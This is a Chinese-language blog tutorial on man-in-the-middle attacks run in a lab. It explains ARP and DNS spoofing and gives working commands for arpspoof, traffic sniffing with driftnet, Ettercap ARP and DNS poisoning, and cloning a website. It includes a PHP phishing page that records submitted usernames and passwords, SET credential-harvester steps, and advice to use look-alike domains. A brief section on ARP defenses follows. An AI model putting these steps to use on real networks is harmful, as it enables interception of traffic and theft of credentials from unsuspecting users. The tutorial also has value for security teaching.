中间人攻击

ARP协议的定义

ARP协议(Address Resolution Protocol,地址解析协议)。在局域网中,网络中实际传输的是帧,帧里面有目标主机的MAC地址,在以太网中,一个主机要和另一个主机进行直接通信,必须知道目标主机的MAC地址。地址解析协议就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。

ARP欺骗的危害

ARP欺骗可以造成内部网络的混乱,让某些被欺骗的计算机无法正常访问内外网,让网关无法和客户端正常通信,也可以截取全网络的数据包。ARP地址冲突相较于IP地址冲突更隐蔽,因为ARP协议工作在IP的更低层,系统不会判断ARP缓存是否正确,无法像IP地址冲突那样给出提示。

ARP欺骗的原理

ARP欺骗的原理就是把自己的MAC地址伪造成网关的地址来欺骗其他的主机。

如上图所示,当主机A和主机B需要通信时,如果主机A在自己的ARP缓存表中没有找到主机B的MAC地址时,主机A将会向整个局域网中所有的计算机发送ARP广播,广播后整个局域网的计算机都收到了该数据报。此时,主机C响应主机A说我是主机B,主机A收到主机C发送的响应后就会更新自己的缓冲表,当主机A与主机B通信时,这些数据包就会发送到攻击主机(主机C)上。

ARP攻击的分类

ARP单向攻击

掐断主机A与主机B之间的通信,比如主机C欺骗主机A说自己是主机B,那么主机A向主机B发送的数据包都会发送给主机C,但是主机B向主机A发送的数据包并没有中断,所以叫单向攻击

ARP双向攻击

当主机A想与主机B正常通信时,主机C对主机A说自己是主机B,主机C对主机B说自己是主机A,此种情况下主机AB的ARP缓存表都会被修改,以后主机A、B都会先发给主机C(如上图蓝线所示)。

注:ARP攻击只能在同一个局域网中实现。因为在不同局域网中的主机互相访问需要用到网络层设备(路由器、三层交换机),它们通过IP地址进行数据包之间的转发。

ARP实战

ARPspoof

ARPspoof是一套名为dsniffer的工具。arpspoof是其中一个模块。

arpspoof的用法

arpspoof - 拦截交换局域网上的数据包
arpspoof [ -i interface ] [ -c own | host | both ] [ -t target ] [ -r ] host

参数解释:

  • -i 指定网卡接口,如eth0
  • -c 指定恢复arp配置时使用的硬件地址
  • -t 指定目标主机的IP地址,默认为所在局域网的所有主机
  • -r 捕获两个方向上的流量

单向攻击

靶机:Windows XP , ip:192.168.85.132
攻击主机:Kali , ip:192.168.85.128

检查两个主机的网络状况

在终端对两个计算机执行以下命令

ping www.baidu.com

若ping通证明网络状况良好

开始攻击

  1. 开始ARP数据劫持,此条命令会给靶机造成断网假象:
    arpspoof -t 192.168.85.132 192.168.85.2

注意:192.168.85.2为网关IP

  1. 端口转发,此时靶机网络恢复正常:

    echo 1 > /proc/sys/net/ipv4/ip_forward
  2. 开始图片嗅探:

    driftnet -i eth0

ARP攻击防御

静态绑定网关MAC

  1. 新建一个MAC-IP对应表文件,将要绑定的IP-MAC地址写入文件中:

    echo '192.168.85.2 XX:XX:XX:XX:XX:XX' > /etc/ip-mac
  2. 设置开机自动绑定

    echo 'arp -f /etc/ip-mac' >> /etc/rc.d/rc.local

ARP防火墙

使用ARP防火墙可以有效防御ARP攻击

VLAN和交换机端口绑定

通过划分VLAN和交换机端口绑定,以图防范ARP。划分VLAN,减小广播域的范围,使ARP在小范围内起作用,而不至于发送大面积影响。

DNS欺骗

实验拓扑图


三台计算机需要互相ping通,kali需要修改DNS服务器指向2003才能ping:

vim /etc/resolv.conf
#在打开的文件中加入
nameserver DNS服务器IP地址  #保存退出 
service networking restart

原理

利用中间人攻击的原理,kali将自己伪装成DNS服务器,诱导客户机指向自己解析域名,从而实现欺骗。

实验步骤

网页拷贝

利用kali内置的httrack工具拷贝网页(详见渗透测试知识点2)

环境部署

把2003当作网站的官方发布服务器,即需要在2003上搭建IIS/DNS(详情请参阅IIS篇/DNS篇)。此时XP可以通过域名(如 www.materialize.com )访问2003的网页

使用Kali进行攻击
  1. 伪装DNS服务器,使用Ettercap的DNS投毒法:
    vim /etc/ettercap/etter.dns


如果想将所有域名的解析服务器都指向Kali,则将上述域名部分改为* 即可,即* A 10.1.1.22

  1. 运用Kali内置的Apache发布一个假的materialize网站

    systemctl start apache2
    netstat -antpl   #查看本机所有开启的TCP服务,如果有80端口则证明apache服务成功开启

    进入Apache的站点存放文件夹,并删除文件夹里所有文件

    cd /var/www/html
    rm  -rf *
  2. 在拷贝的网站文件夹里新建两个文件(一个php文件/一个txt文件):php文件用于获取表单数据,txt文件用于将php读取的字符串写入。

.php

<?php
/*stripslashes是提取表单值,post后是input标签里name的内容*/
$name = stripslashes($_POST['name']); 
$pass = stripslashes($_POST['number']);
$content = "捕获的账号和密码"."用户名".$name."密码".$number;
$file = @fopen("1.txt", "a+");  /*以追加的方式打开1.txt文件*/
        @fwrite($file, "$content\n");  /*在文件中写入字符串*/
?>
<html>
<head>
    <script type="text/javascript">
        function goBack(){
            window.history.back()   //后退+刷新
            alert("连接错误,请重新输入")
        }
    </script>
</head>
<body onload="goBack()">  <!-- 加载后立即执行此javascript代码-->
</body>
</html>
  1. 进入apache站点文件夹下,将文件夹拷贝到apache站点文件夹下(此处的html必须命名为index.html,否则Apache将无法识别)
    cp -r /root/Desktop/materialize/* ./
  • -r 包括文件夹一起拷贝
  • ./ 此文件夹下
  1. 修改文件权限
    使用以下命令查看文件权限:

    Apache属于其他组,所以要使用以下命令改变权限:

    chmod 777 1.txt   //7转换为二进制为111,对应上述3个字母设置一组权限,1激活该权限,777表示将三个用户组的权限设为rwx

  2. 使用Ettercap进行ARP投毒(ARP攻击,此时客户机访问服务器的数据会经过kali)

  3. 使用Ettercap进行DNS投毒:Plugins->manage Plugins

使用SET攻击进行钓鱼攻击

在kali中打开SET工具集:

setoolkit

使用SET截获密码

根据菜单提示依次选择1.Social-Engineering Attacks -> 2.Web Site Attack Vectors -> 3.Credencial Harvester Attack Method -> 2.Site Cloner ,输入要拷贝的网站的网址(拷贝下来的网站只包含静态内容),然后在客户机的搜索栏上输入kali网址对钓鱼网站进行访问。此种模式用于截获客户输入的用户名和密码,当输入成功后,网页会自动刷新到真正的官方网站。

注:此方法若想使用域名进行访问,要搭建一个DNS服务器使其域名指向kali,同时,如果我们拷贝的是 www.google.com ,钓鱼网站的域名最好类似www.googel.com


   转载规则


《中间人攻击》 fightingtree 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录